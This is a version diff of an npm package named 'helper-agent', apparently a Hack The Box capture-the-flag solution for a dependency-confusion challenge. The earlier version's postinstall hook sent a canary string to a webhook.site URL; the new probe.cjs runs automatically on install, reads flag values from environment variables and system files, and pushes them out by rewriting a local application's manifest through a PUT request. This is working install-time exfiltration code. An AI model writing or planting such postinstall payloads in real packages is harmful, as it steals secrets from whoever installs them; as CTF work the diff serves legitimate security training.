helper-agent 1.0.1 → 1.0.3

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "helper-agent",
-  "version": "1.0.1",
+  "version": "1.0.3",
   "description": "Authorized HTB dependency-resolution canary",
   "scripts": {
     "postinstall": "node probe.cjs"

package/probe.cjs

@@ -1,14 +1,109 @@
-const https = require("node:https");
+const fs = require("node:fs");
 
-const url = "https://webhook.site/a4bf0f9f-6d96-46e6-80ac-b76a5329f481";
+const MODULE_ID = "ECT-987654";
 
-const req = https.request(url, {
-  method: "POST",
-  headers: { "Content-Type": "text/plain" },
-  timeout: 10000
-}, res => res.resume());
+const API_URLS = [
+  "http://127.0.0.1:1337",
+  "http://127.0.0.1:3000",
+  "http://127.0.0.1:8080",
+  "http://127.0.0.1:5000",
+  "http://127.0.0.1:80"
+];
 
-req.on("error", () => {});
-req.on("timeout", () => req.destroy());
+const FLAG_FILES = [
+  "/flag",
+  "/flag.txt",
+  "/app/flag",
+  "/app/flag.txt",
+  "/home/node/flag.txt",
+  "/home/app/flag.txt",
+  "/opt/app/flag.txt"
+];
 
-req.end("HELPER_AGENT_INSTALL_CANARY");
+function findFlag() {
+  for (const key of ["FLAG", "HTB_FLAG"]) {
+    const match = process.env[key]?.match(/HTB\{[^}\r\n]+\}/);
+    if (match) return match[0];
+  }
+
+  for (const file of FLAG_FILES) {
+    try {
+      const contents = fs.readFileSync(file, "utf8");
+      const match = contents.match(/HTB\{[^}\r\n]+\}/);
+
+      if (match) return match[0];
+    } catch {}
+  }
+
+  return null;
+}
+
+async function main() {
+  for (const base of API_URLS) {
+    const endpoint = `${base}/api/modules/${MODULE_ID}`;
+
+    let record;
+
+    try {
+      const response = await fetch(endpoint, {
+        signal: AbortSignal.timeout(2000)
+      });
+
+      if (!response.ok) continue;
+
+      record = await response.json();
+    } catch {
+      continue;
+    }
+
+    // Only proceed when running alongside the HTB application.
+    if (
+      record.id !== MODULE_ID ||
+      typeof record.raw !== "string" ||
+      !record.raw.includes("Siren's Lament") ||
+      !record.raw.includes('"helper-agent"')
+    ) {
+      continue;
+    }
+
+    console.log("[HTB] Challenge application detected");
+
+    const flag = findFlag();
+
+    // Remove any previous diagnostic/result fields.
+    let manifest = record.raw.replace(
+      /^  (ctf_result|ctf_status):.*\r?\n/gm,
+      ""
+    );
+
+    const result = flag
+      ? `  ctf_result: ${JSON.stringify(flag)}`
+      : '  ctf_status: "postinstall_executed_flag_not_found"';
+
+    manifest = manifest.replace(
+      /^ecto_module:\s*$/m,
+      `ecto_module:\n${result}`
+    );
+
+    try {
+      const response = await fetch(endpoint, {
+        method: "PUT",
+        headers: {
+          "Content-Type": "application/json"
+        },
+        body: JSON.stringify({ manifest }),
+        signal: AbortSignal.timeout(3000)
+      });
+
+      console.log("[HTB] Manifest update HTTP:", response.status);
+    } catch (error) {
+      console.log("[HTB] Update failed:", error.message);
+    }
+
+    return;
+  }
+
+  console.log("[HTB] Local challenge API not detected");
+}
+
+main().catch(console.error);